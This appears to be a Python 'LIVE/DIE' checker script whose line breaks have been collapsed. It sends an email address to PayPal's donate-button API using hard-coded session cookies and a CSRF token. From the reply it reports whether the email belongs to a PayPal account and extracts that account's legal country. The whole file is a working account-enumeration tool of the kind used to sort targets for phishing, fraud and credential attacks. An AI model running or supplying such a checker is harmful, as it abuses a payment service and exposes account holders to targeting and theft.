from re import findall import json import requests as m def paypal(eml): url_pay = "https://www.paypal.com/donate/api/buttons" data2 = "button%5Bcountry_code%5D=US&button%5Btype%5D=DONATE&button%5Bsub_type%5D=PRODUCTS&button%5Blanguage%5D=en&button%5Bbutton_variables%5D%5B0%5D%5Bname%5D=item_name&button%5Bbutton_variables%5D%5B0%5D%5Bvalue%5D=&button%5Bbutton_variables%5D%5B1%5D%5Bname%5D=currency_code&button%5Bbutton_variables%5D%5B1%5D%5Bvalue%5D=USD&button%5Bbutton_variables%5D%5B2%5D%5Bname%5D=business&button%5Bbutton_variables%5D%5B2%5D%5Bvalue%5D="+eml + \ "&button%5Bbutton_variables%5D%5B3%5D%5Bname%5D=item_number&button%5Bbutton_variables%5D%5B3%5D%5Bvalue%5D=&button%5Bbutton_variables%5D%5B4%5D%5Bname%5D=no_shipping&button%5Bbutton_variables%5D%5B4%5D%5Bvalue%5D=1&button%5Bbutton_variables%5D%5B5%5D%5Bname%5D=no_note&button%5Bbutton_variables%5D%5B5%5D%5Bvalue%5D=0&button%5Bbutton_image_url%5D=https%3A%2F%2Fwww.paypalobjects.com%2Fen_US%2Fi%2Fbtn%2Fbtn_donateCC_LG.gif&button%5Bbutton_image%5D=CC" js = json.dumps(data2) headers = { "Host": "www.paypal.com", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "content-type": "application/x-www-form-urlencoded; charset=UTF-8", "x-csrf-token": "jPisxPlgLiLOIOilVnuOYZrriXgNUhpmFXR4g=", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "cookie": "tsrce=bizcomponentsnodeweb; ts=vreXpYrS%3D1681998232%26vteXpYrS%3D1587392032%26vr%3D9475aff11710a983e6b4070cfffe287c%26vt%3D97d4812c1710a621d6f72f5effffb8f6; ts_c=vr%3D9475aff11710a983e6b4070cfffe287c%26vt%3D97d4812c1710a621d6f72f5effffb8f6; LANG=en_US%3BUS; x-pp-s=eyJ0IjoiMTU4NzM5MDIyNDEyMSIsImwiOiIwIiwibSI6IjAifQ; nsid=s%3AYdlndcqjhlE0ZfWkfv-eogW7eqGjy4mZ.ug7BfbsIWlVG4q8IsGRf0oh03GW4nRGL3aaqMs69Ofo; X-PP-SILOVER=name%3DLIVE5.WEB.1%26silo_version%3D880%26app%3Dbizcomponentsnodeweb%26TIME%3D1587390224%26HTTP_X_PP_AZ_LOCATOR%3Ddcg02.phx; X-PP-L7=1; akavpau_ppsd=1587390824~id=bbe06b97b860f111be463af7e2681444; SEGM=bRdV1vB0ebq9RKdAb3xSHowCi6QnnlCiDOLNk8i1mAuLl1vTbzHQwWajSsMe8mvoWiJtY1GnpzN4Y-sixGy7BQ; tcs=main%3Awps%3Adonate%3Abutton%3Asetup%3Awizard%3Aunhosted%3A3%7CnextStep" } die = "Email id is not matching with the records." cc = m.post(url_pay, json=js, headers=headers).content.decode("utf-8") if (die in cc): print("DIE") else: x = findall('"legalCountry":"(.*?)"', cc) print("LIVE : "+eml+" & >> Country >> "+str(x[0])) paypal("email@email.cz")